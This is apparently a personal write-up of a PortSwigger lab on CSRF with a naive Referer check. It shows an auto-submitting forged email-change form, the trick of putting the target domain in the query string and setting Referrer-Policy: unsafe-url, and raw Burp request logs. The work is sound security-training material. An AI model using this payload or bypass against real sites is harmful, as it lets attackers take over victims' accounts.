TL;DR

Identify no visible protection is active against CSRF and SameSite is set to none. Observe the CSRF payload is blocked and indicate a “invalid referer header”. Change your payload by adding the target domain in the URL query string and disable the browser strip by adding Referrer-Policy: unsafe-url.

Design ...

Use history.pushstate() to have more control over your URL on exploit server. The target server doesn’t trigger the payload unless the referer is indicating root path + query string.

Learning Material


Some applications validate the Referer header in a naive way that can be bypassed. For example, if the application validates that the domain in the Referer starts with the expected value, then the attacker can place this as a subdomain of their own domain:

http://vulnerable-website.com.attacker-website.com/csrf-attack

Likewise, if the application simply validates that the Referer contains its own domain name, then the attacker can place the required value elsewhere in the URL:

http://attacker-website.com/csrf-attack?vulnerable-website.com

Note

Although you may be able to identify this behavior using Burp, you will often find that this approach no longer works when you go to test your proof-of-concept in a browser. In an attempt to reduce the risk of sensitive data being leaked in this way, many browsers now strip the query string from the Referer header by default.

You can override this behavior by making sure that the response containing your exploit has the Referrer-Policy: unsafe-url header set (note that Referrer is spelled correctly in this case, just to make sure you’re paying attention!). This ensures that the full URL will be sent, including the query string.

Lab


This lab’s email change functionality is vulnerable to CSRF. It attempts to detect and block cross domain requests, but the detection mechanism can be bypassed.

To solve the lab, use your exploit server to host an HTML page that uses a CSRF attack to change the viewer’s email address.

You can log in to your own account using the following credentials: wiener:peter

Write-up


This lab seems pretty straightforward. The POST login request get a Set-Cookie in response with an intentionally vulnerable flag :

And the change-mail request doesn’t contain any CSRF token there.

At this point we can just try to craft a simple payload and see if it works directly.

<form action="https://0a7b006203e493bb80f544b300fe00af.web-security-academy.net/my-account/change-email" method="POST">
	<input type="hidden" name="email" value="adios&#64carlos">
	<input type="submit" value="Submit request"/>
</form>
<script>
document.forms[0].submit();
</script>

No surprise, our response receives a “Invalid referer header” :

We’ll have to find a workaround for that. The learning material explain the idea that the server might be looking for its own domain in the referer header. We can play with that by adding it in the query string like such https://exploit-0a39006f03cd935580c74305016100c4.exploit-server.net/exploit?0a7b006203e493bb80f544b300fe00af.web-security-academy.net. However sending the payload again doesn’t work and we land on the same error response than before. We still have to add the header Referrer-Policy: unsafe-url to make everything work and our payload looks like that :

BUT, it didn’t work. When I check in the burpsuite proxy history, I’m working with this :

POST /my-account/change-email HTTP/2
Host: 0a7b006203e493bb80f544b300fe00af.web-security-academy.net
Cookie: session=GSwhQL1MvvII8ghN05y73doK79MKGXuo
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:144.0) Gecko/20100101 Firefox/144.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://exploit-0a39006f03cd935580c74305016100c4.exploit-server.net/test?0a7b006203e493bb80f544b300fe00af.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 20
Origin: https://exploit-0a39006f03cd935580c74305016100c4.exploit-server.net
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
X-Pwnfox-Color: orange
Priority: u=0, i
Te: trailers
 
email=adios%40carlos

The only difference with the payload using history.pushstate() is the Referer now only has /?0a7b006203e493bb80f544b300fe00af.web-security-academy.net instead of /test?0a7b006203e493bb80f544b300fe00af.web-security-academy.net

POST /my-account/change-email HTTP/2
Host: 0a7b006203e493bb80f544b300fe00af.web-security-academy.net
Cookie: session=GSwhQL1MvvII8ghN05y73doK79MKGXuo
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:144.0) Gecko/20100101 Firefox/144.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://exploit-0a39006f03cd935580c74305016100c4.exploit-server.net/?0a7b006203e493bb80f544b300fe00af.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 20
Origin: https://exploit-0a39006f03cd935580c74305016100c4.exploit-server.net
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
X-Pwnfox-Color: orange
Priority: u=0, i
Te: trailers
 
email=adios%40carlos

Trying to change my url to /?0a7b006203e493bb80f544b300fe00af.web-security-academy.net just redirect me to the server payload instead of triggering it. The final working payload looks like this :

Apparently the lab wouldn’t get triggered unless you use the root path of the exploit server. I’m not really satisfied with this solve but w/e, not the best challenge.